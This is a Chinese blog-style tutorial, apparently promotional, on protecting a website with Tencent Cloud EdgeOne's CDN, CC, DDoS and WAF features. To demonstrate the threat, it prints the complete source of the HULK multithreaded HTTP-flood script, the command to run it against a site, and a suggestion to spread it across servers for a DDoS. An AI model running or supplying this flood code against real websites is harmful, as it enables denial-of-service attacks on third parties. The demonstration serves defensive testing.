前言
众所周知,网站如果没有安全防护,极易遭受恶意攻击,导致运行受阻甚至瘫痪。为保障网站的安全稳定运行,必须采取诸如CDN加速与DDoS防护等措施,为用户提供安全、可靠的服务。
本文将基于腾讯云边缘安全加速平台,介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践,为大家提供有价值的参考。
边缘安全加速平台介绍
边缘安全加速平台全称 Tencent cloud EdgeOne ,简称 EO(下文简称为 EdgeOne)。
一张图看懂EdgeOne是什么。
如图所示,当用户向源站发起请求时,EdgeOne会依托腾讯边缘计算节点,为网站提供全方位的边界保护,包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此,还为用户提供网站加速服务,通过综合的安全防护与加速功能,为用户的网站提供强有力的支持与保障。
简单来讲,EdgeOne 就是CDN和高仿服务器的结合体。
更详细的介绍可以移步至官网。
模拟网站被攻击
在网站接入EdgeOne前,先模拟一下被攻击,看一看服务器被攻击的状态。
攻击脚本
这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL,以此方式尝试对目标服务器造成拒绝服务(DoS)攻击。
(仅用于学习和教育目的,不应该用于任何非法或不道德的活动。)
import urllib2 import sys import threading import random import re
#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0def inc_counter():
global request_counter
request_counter+=1def set_flag(val):
global flag
flag=valdef set_safe():
global safe
safe=1generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)def usage():
print '---------------------------------------------------'
print 'USAGE: python hulk.py <url>'
print 'you can add "safe" after url, to autoshut after dos'
print '---------------------------------------------------'#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print 'Response Code 500'
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)#http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
passmonitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
print "%d Requests Sent" % (request_counter)
previous=request_counter
if flag==2:
print "\n-- HULK Attack Finished --"
#execute
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "-- HULK Attack Started --"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http://([^/]*)/?.*', url)
host = m.group(1)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
攻击脚本执行
在脚本目录执行 python hulk.py http://www.xxx.xx对该服务器进行攻击。(有条件的可以分发到多台服务器进行DDos测试)
可以看到,在没有任何防护的情况下,第二批请求就可以让网站崩溃了,直接返回500。
此时我的服务器监控是这样的。
网站快速接入 EdgeOne
接下来,将自己的网站接入EdgeOne,达到安全加速的效果。下面是接入步骤。
前提条件(注意事项)
在接入EdgeOne之前,有两个注意事项:
- 域名要先备案,否则无法接入。如果没有备案的前往域名备案处,备案时长大概10~15天。
- 如果是阿里云的域名,需要在阿里云域名解析处将DNS改为腾讯云的。然后再来云解析DNS添加EdgeOne的DNS解析记录。
一定要注意!!!
添加站点
在进入EdgeOne控制台后添加一个站点,如下图。
输入站点名称,填写域名即可。
选择EdgeOne套餐,这里已经购买,直接选择。
接下来选择加速区和接入模式。
这里加速区选择【全球可用区】,接入模式选择 CNAME 接入。
最后将DNS解析添加至域名解析处,验证完成即可。
添加加速域名
站点添加完成后就可以添加速域名,这一步操作完成后,这个域名就会成功接入EdgeOne,你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤:
1.进入站点添加域名。
2.配置域名
这里的配置项简单说明一下:
加速域名:填写域名对应的主机记录值即可。例如:当前需添加的加速网站为 www.example.com,这里填写为 www 即可。
源站配置:配置你的服务器IP。
IPv6 访问:根据自己的需求配置。
回源协议:根据自己的需求配置。
回源端口:根据自己的需求配置。
配置:在这一步会根据你选择的配追添加【规则引擎】,也可跳过该步骤,后续自行添加。
最后,在云解析DNS按照下图中配置添加解析记录。
使用免费证书部署域名
边缘安全加速平台 EO 使用免费证书部署至 EdgeOne 域名-域名服务-文档中心-腾讯云
免费HTTPS证书是如今广大开发者和个人站长所关注的焦点之一。在当今互联网环境下,HTTPS访问已经成为现代网站的必备功能之一。如果网站没有启用HTTPS,不仅会影响网站安全性,还会降低搜索引擎排名。因此,在创建个人博客时,需要为自己的域名申请SSL证书,以实现HTTPS访问。虽然申请SSL证书的方式有很多种,但是传统的申请和部署方式往往比较繁琐,而且免费证书通常有时效性限制,需要定期手动更新。
如果您当前网站还未购买 HTTPS 证书,且加速域名不包含泛域名,可申请使用免费证书来测试支持 HTTPS 访问。
说明:
- 免费证书由 Let's Encrypt - 免费的SSL/TLS证书 机构颁发,如果您的站点当前为 NS 接入的方式,可申请泛域名证书,如果当前为 CNAME 接入,EdgeOne 只支持申请单域名证书,不支持申请泛域名证书。
- 证书有效期为3个月,到期前平台将自动为您申请续期,无需您手动更新。如果您当前是 NS 接入,切换至 CNAME 接入后,申请的泛域名证书到期后将无法自动续期。
- 免费证书不支持下载。
- 如果域名是 CNAME 接入,您还需要完成 CNAME 配置并等待 CNAME 状态生效,才可以为该域名申请免费 SSL 证书。
EdgeOne的免费HTTPS证书功能极大简化了这一流程,提供一键申请和自动续期服务,无需手动更新,全程自动化管理。快速开启HTTPS访问。申请免费证书只需简单几步操作即可完成,以下是申请和部署免费证书至EdgeOne的操作步骤:
- 登录 登录 - 腾讯云,通过站点列表,选择需配置的站点,进入站点管理二级菜单。
- 在左侧导航栏中,单击域名服务 > 域名管理。
- 在域名管理页面,选择待配置证书的域名,在 HTTPS 列内单击编辑,弹出 HTTPS 证书配置。
- 选择申请免费证书后,单击确定,即可完成免费证书的申请和安装。
- 部署完成后,您可以在域名管理列表页中,将鼠标悬停于已配置图标上,可展示当前已部署的证书信息。
EdgeOne 安全防护
现在,将网站接入EdgeOne后,看一下能否为我们抵挡住恶意攻击。
CC攻击防护
再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时,会看到EdgeOne控制台上会显示访问数据。
这里以CC防护为例进行设置。EdgeOne默认配置比较宽松,因为我的服务器配置较低,所以还需要进行一些配置才能达到防护效果。
这里我将其设置为紧急。当客户端请求超过40次/10秒,就可以紧急防护。
此时,再次执行脚本,就会发现网站已经起到防护效果。如下图
DDos攻击防护
有条件的用户可以将攻击脚本分发到多台服务器进行DDos测试。
自定义防护规则
EdgeOne还支持自定义防护配置,比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。
我们可以根据自己的需求进行配置,简单明了。例如,我们可以把刚才防护的客户端IP进行封禁。如下图
当我再次执行脚本时,就会返回对应的错误码了。
还有各种自定义配置详细说明,可以移步边缘安全加速平台 EO > 安全防护 > Web 防护 > 自定义规则。
OWASP防护
除此之外,EdgeOne还默认提供包含 OWASP top10 在内的托管规则。能够有效防御如 SQL 注入、XSS 攻击、webshell 上传、命令注入等攻击。
例如,我现在在浏览器地址中输入JS脚本进行XSS攻击,可以看到EdgeOne直接帮我们进行了拦截。
控制台中也可以看到相关拦截记录。
EdgeOne 体验感受
经过本次实践,EdgeOne给我留下了以下几点深刻的感受:
- EdgeOne实现的安全防护与加速一体化功能,明显提升了产品的性能和用户接受度,企业无需再分别采购CDN、DDoS等独立服务,大大简化了企业的选择与部署流程。
- 在配置方面,EdgeOne提供了全站一键配置,用户只需通过简单的操作即可实现全局配置,不用进行繁琐的手动设置,大大简化了配置流程,对于用户来说,提高了产品的易用性。
- 特别关注了EdgeOne的计费模式,发现EdgeOne在计费方面有一定的优势,如“干净流量”计费模式。也就是说,以后网站的安全防护、加速成本会大大的降低。
总结
在数字化时代,网络安全已经成为一项至关重要的任务,尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案,我们能够迅速搭建起一套全面且高效的网站安全防护体系。
两三百元钱就可以体验到像CC/WAF/速率限制这种高级安全能力,相当可以了,还可以证书自动续期部署,EdgeOne这个产品很良心了,感兴趣的朋友可以点击链接了解详情:https://cloud.tencent.com/act/pro/edgeone_techoday_promotion?from=22008